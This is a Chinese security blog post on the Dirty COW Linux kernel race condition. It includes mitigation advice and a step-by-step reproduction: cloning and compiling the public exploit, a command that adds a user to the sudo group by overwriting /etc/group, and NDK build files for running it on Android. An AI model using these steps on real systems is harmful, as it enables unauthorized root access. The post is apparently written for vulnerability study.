Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 渗透分析 › Linux内核存在条件竞争漏洞 | 黑客可获取root权限

Linux内核存在条件竞争漏洞 | 黑客可获取root权限

Eswlnk的头像
Eswlnk
2023-07-26 21:47:16
Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog
智能摘要 AI
本文讨论了一个涉及Linux内核内存子系统的条件竞争漏洞,该漏洞存在于写时拷贝(Copy-on-Write)操作中,可能导致私有只读内存映射被破坏。攻击者可利用此漏洞在低权限本地用户访问权限下获取更高权限,甚至获得root权限,从而篡改系统配置和访问敏感数据。建议的应对措施包括更新内核版本、限制权限、定期监测异常行为、加强访问控制以及提升安全意识。此外,文章还详细介绍了如何在不同版本的Android系统上利用该漏洞进行测试,包括在Ubuntu、Android 4.4、6.0.1和5.1.1等环境中编译和执行漏洞利用代码的过程及结果。

该漏洞涉及Linux内核的内存子系统,它在处理写时拷贝(Copy-on-Write)操作时存在一种条件竞争漏洞。这种漏洞可能导致私有只读内存映射被破坏。黑客可以通过利用此漏洞,在获得低权限本地用户访问权限后,进一步获取其他只读内存映射的写权限,甚至获得root权限。

漏洞的潜在影响

这个条件竞争漏洞可能对系统安全造成严重影响。恶意攻击者可以利用漏洞获取其他只读内存映射的写权限,并以此为基础实施更深层次的攻击。如果攻击者成功获取root权限,他们将能够执行敏感操作、篡改系统配置和访问敏感数据,从而对整个系统产生严重威胁。

建议的应对措施

针对这个漏洞,以下是一些建议的应对措施:

  1. 更新内核版本:及时更新系统的内核版本,以获取最新的安全补丁和修复程序。
  2. 限制权限:合理配置用户权限,确保每个用户仅具备必要的权限,并使用最小权限原则进行访问控制。
  3. 定期监测:通过系统日志、入侵检测系统(IDS)等手段,定期监测异常行为和未经授权的访问尝试。
  4. 加强访问控制:使用有效的防火墙规则和网络隔离策略,限制对系统的直接访问,并仅允许必要的网络连接。
  5. 安全意识培训:加强用户对安全意识的培训,提高其对潜在威胁和风险的认知,从而减少社会工程学攻击的成功率。

Linux

Ubuntu 14.04 :

1)添加用户:

sudo adduser test 

输入两次密码后一直回车就行,查看当前用户的信息,终端输入 id,回车,可以看到当 前用户是有 sudo 权限的。

切换到刚刚新建的 test 用户,同样输入 id,查看 test 用户的信息,发现 test 用户没有 sudo 权限,

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

2)运行DirtyCow的exp进行提权:

git clone https://github.com/dirtycow/dirtycow.github.io

cd dirtycow.github.io

编译exp:

gcc dirtyc0w.c -o dirtycow lpthread

执行exp:

./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”
Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

新打开一个终端,切换到test,查看test用户信息,可以看到test用户已经拥有了sudo权限,执行sudo su ,输入test用户的密码后就可以切换到root权限,提权成功。

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

漏洞成因:

Linux写时拷贝技术(copy-on-write)

在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

Android:

Linux上编译好的exp在Android平台上不能用,使用NDK编译下载好的exp:

EXP下载地址:

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

ANDROID STUDIO中安装NDK,把CMAKE和LLDB也安装一下:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

下载源码导入ANDROID STUDIO

 下载源码:HTTPS://GITHUB.COM/GOOGLESAMPLES/ANDROID-NDK

如果导入项目时Android studio好像卡住了一样,有可能是Android Studio在后台正在下载东西,沿着这个路径:项目/gradle/wrapper找到这个文件: gradle-wrapper.properties,打开它看看最后一行的gradle版本,若版本和你现有的版本不一致,可以去http://services.gradle.org/distributions/ 上下载相应的版本,手动拷贝到:

C:\Users\用户名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew   目录下

注:这里的 bzyivzo6n839fup2jbap0tjew 是随机的

将下载好的android-ndk源码解压到某个位置,这里我是解压到了桌面上,所以在我个人的的计算机上android-ndk路径如下:

C:\Users\wangzt\Desktop\android-ndk

我们只需要用下面路径中的相应文件即可:

C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\

在main目录下新建文件夹jni,在jni文件夹中新建两个文件:Android.mk 和Application.mk,内容如下:

Android.mk

LOCAL_PATH:= $(call my-dir)

include $(CLEAR_VARS)
LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow

LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc
#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS

include $(BUILD_EXECUTABLE)

Application.mk

APP_ABI := all

要编译的文件:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

编译EXP

命令行下cd 到如下目录:

C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>

执行命令:

D:\AndroidSDK\ndk-bundle\ndk-build

编译成功后,在main目录下的libs文件夹中即可找到编译好的对应平台的EXP:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

编译好的exp:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

Android 4.4

adb连接手机(手机需开启USB调试):

查看和adb连接的设备:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

在/system/bin/目录下新建文件test_dirty_cow,并且将其权限修改为644

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

将编译好的EXP push到测试机的/data/local/tmp/目录下的dirtycow文件中(这里选用的编译好的POC是armeabi 平台的,arm64-v8a经测试不能使用,可以根据自己用的测试机的架构选择相应的平台):

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

修改EXP权限:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

当前用户权限(shell):

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

切换到root权限,向test_dirty_cow文件中写入 123456,写入之后再切换为普通用户权限(shell),以普通用户权限执行EXP(下同):

/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify

然后查看test_dirty_cow中的内容,发现文件内容已被修改为modify,复现成功:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

Android 6.0.1 (安全补丁程序级别: 2017年2月1日)

测试机系统具体信息:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog
Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

Android 6.0.1 默认关闭了并隐藏了开发者选项,需要在关于手机里的版本号处连续点击5次版本号才可以启用开发者选项,然后在开发者选项中启用USB调试。

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

接着我们在 /system/bin 目录下创建一个普通用户没有写权限的文件,因为默认的 /system 目录是只读的,所以需要 remount /system

注意:

mount -o rw,remount /system   

上述命令中,remount和它前面的逗号之间不要有空格。

接下来的操作步骤和在Android 4.4 系统中差不多:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

adb中切换为root权限,将新建的test_dirtycow 文件的权限修改为 644

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

给EXP可执行权限:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

执行EXP 报错:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

PIE这个安全机制从4.1引入,但是Android L之前的系统版本并不会去检验可执行文件是否基于PIE编译出的。因此不会报错。但是Android L已经开启验证,如果调用的可执行文件不是基于PIE方式编译的,则无法运行。解决办法非常简单,在Android.mk中加入如下flag即可。

LOCAL_CFLAGS += -pie -fPIE
LOCAL_LDFLAGS += -pie -fPIE

修改后的Android.mk 文件:

LOCAL_PATH:= $(call my-dir)

include $(CLEAR_VARS)
LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow

LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc
#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS

LOCAL_CFLAGS += -pie -fPIE
LOCAL_LDFLAGS += -pie -fPIE

include $(BUILD_EXECUTABLE)

Application.mk

APP_ABI := all

编译EXP:

Windows命令行下进行编译,因为我下载的ndk 存放在D:\AndroidSDK\ndk-bundle文件夹中,所以只需要在命令行下输入如下命令进行编译:

D:\AndroidSDK\ndk-bundle\ndk-build
Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

经测试,不能任意修改文件内容:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

因为这个Android 6.0的系统安全补丁是2017年2月份的,估计漏洞已经修补好了。

Android 6.0.1_r68(安全补丁程序级别: 2016年9月6日)

不多说,一样的操作:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

可以看到test_dirtyc0w文件中的内容被修改为 modify,复现成功。

Android 5.1.1

复现过程:

用的EXP是测试Android 6.0.1时编译好的,拿来直接用即可。

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

在/system/bin目录下新建文件 test_dirty,试了几次没有成功:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

解决办法:执行

mount -o rw,remount /system

并将新建的test_dirty 权限修改为644:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog

向文件test_dirty中写入 123456,执行EXP:

/data/local/tmp/dirtycow /system/bin/test_dirty modify

EXP执行一段时间后即可停止,此时再次查看 test_dirty 文件中的内容,发现文件内容已被更改为 modify,复现成功:

Linux内核存在条件竞争漏洞 | 黑客可获取root权限-Eswlnk Blog
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
linuxroot渗透漏洞网络安全
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
对Kubernetes RBAC授权防御&攻击的部分思考
上一篇
日志记录:关于新版QQ的一些问题
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
  • 开发日志:解决Windows平台无法使用Metview解析数据的难题
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

[CVE-2022-34918]Linux 防火墙漏洞复现
2022-07-22 1:24:52
「其他分享」从零设计通信协议(二)
2022-08-11 14:37:21
关于大多数网络验证的通用“解决”思路
2021-10-05 2:00:29

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.644 秒   |  SQL查询 27 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈